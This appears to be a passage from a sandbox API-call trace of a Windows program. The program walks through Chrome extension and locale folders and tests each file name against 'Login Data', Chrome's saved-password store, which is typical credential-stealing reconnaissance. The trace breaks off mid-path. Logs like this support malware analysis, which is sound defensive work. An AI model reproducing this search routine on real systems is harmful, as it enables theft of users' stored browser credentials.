[0079.373] LocalFree (hMem=0x6524b8) returned 0x0 [0079.373] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0079.373] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0079.373] LocalFree (hMem=0x6523b0) returned 0x0 [0079.373] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0079.373] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\id\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.373] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.373] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.373] LocalFree (hMem=0x6525c0) returned 0x0 [0079.373] LocalFree (hMem=0x6524b8) returned 0x0 [0079.373] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0079.373] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0079.373] LocalFree (hMem=0x6523b0) returned 0x0 [0079.373] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0079.374] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\it\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.374] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.374] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.374] LocalFree (hMem=0x6525c0) returned 0x0 [0079.374] LocalFree (hMem=0x6524b8) returned 0x0 [0079.374] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0079.374] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0079.374] LocalFree (hMem=0x6523b0) returned 0x0 [0079.374] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0079.374] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ja\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.374] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.374] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.374] LocalFree (hMem=0x6525c0) returned 0x0 [0079.374] LocalFree (hMem=0x6524b8) returned 0x0 [0079.374] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0079.374] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0079.374] LocalFree (hMem=0x6523b0) returned 0x0 [0079.374] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0079.375] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ko\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.375] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.375] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.375] LocalFree (hMem=0x6525c0) returned 0x0 [0079.375] LocalFree (hMem=0x6524b8) returned 0x0 [0079.375] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0079.375] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0079.375] LocalFree (hMem=0x6523b0) returned 0x0 [0079.375] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0079.375] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\lt\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.375] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.375] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.375] LocalFree (hMem=0x6525c0) returned 0x0 [0079.375] LocalFree (hMem=0x6524b8) returned 0x0 [0079.375] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0079.375] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0079.375] LocalFree (hMem=0x6523b0) returned 0x0 [0079.375] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0079.376] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\lv\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.376] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.376] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.376] LocalFree (hMem=0x6525c0) returned 0x0 [0079.376] LocalFree (hMem=0x6524b8) returned 0x0 [0079.376] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0079.376] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0079.376] LocalFree (hMem=0x6523b0) returned 0x0 [0079.376] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0079.376] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ms\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.376] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.376] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.376] LocalFree (hMem=0x6525c0) returned 0x0 [0079.376] LocalFree (hMem=0x6524b8) returned 0x0 [0079.376] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0079.376] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0079.376] LocalFree (hMem=0x6523b0) returned 0x0 [0079.376] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0079.376] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\nl\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.377] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.377] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.377] LocalFree (hMem=0x6525c0) returned 0x0 [0079.377] LocalFree (hMem=0x6524b8) returned 0x0 [0079.377] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0079.377] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0079.377] LocalFree (hMem=0x6523b0) returned 0x0 [0079.377] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0079.377] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\no\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.377] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.377] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.377] LocalFree (hMem=0x6525c0) returned 0x0 [0079.377] LocalFree (hMem=0x6524b8) returned 0x0 [0079.377] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0079.377] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0079.377] LocalFree (hMem=0x6523b0) returned 0x0 [0079.377] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0079.377] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pl\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.378] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.378] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.378] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.378] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.378] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.378] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.378] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.378] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.379] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ro\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.379] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.379] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.379] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ru\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.379] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.379] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.379] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sk\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.379] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.379] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.380] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sl\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.380] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.380] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.380] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sr\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.380] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.380] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.380] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sv\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.380] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.380] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.381] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\th\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.381] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.381] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.381] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\tr\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.381] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.381] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.381] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\uk\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.381] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.381] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.382] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\vi\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.382] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.382] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.382] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.382] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.382] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.382] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.383] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.383] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.383] FindClose (in: hFindFile=0x6428e8 | out: hFindFile=0x6428e8) returned 1 [0079.383] FindClose (in: hFindFile=0x6428a8 | out: hFindFile=0x6428a8) returned 1 [0079.383] FindClose (in: hFindFile=0x642868 | out: hFindFile=0x642868) returned 1 [0079.383] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\*.*", lpFindFileData=0x12f7b2 | out: lpFindFileData=0x12f7b2) returned 0x642868 [0079.383] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\*.*", lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 0x6428a8 [0079.383] StrStrIA (lpFirst="128.png", lpSrch="Login Data") returned 0x0 [0079.383] StrStrIA (lpFirst="manifest.json", lpSrch="Login Data") returned 0x0 [0079.383] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\*.*", lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 0x6428e8 [0079.384] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ar\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.385] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.385] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.385] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\bg\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.385] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.385] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.385] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ca\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.385] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.385] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.386] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\cs\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.386] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.386] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.386] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\da\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.386] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.386] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.386] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\de\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.386] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.386] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.387] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\el\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.387] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.387] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.387] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\en\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.387] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.387] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.387] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\es\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.387] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.387] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.388] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fi\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.388] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.388] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.390] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fil\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.390] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.390] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.390] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fr\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.391] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.391] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.391] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\he\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.391] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.391] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.391] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hi\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.391] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.391] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.391] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hr\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.392] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.392] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.392] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hu\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.392] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.392] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.392] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\id\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.392] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.392] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.392] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\it\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.393] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.393] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.393] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ja\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.393] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.393] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.393] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ko\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.393] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.393] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.393] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\lt\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.394] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.394] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.394] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\lv\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.394] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.394] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\nl\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.394] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.394] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\no\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.395] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.395] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pl\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.395] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.395] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.395] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.395] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User 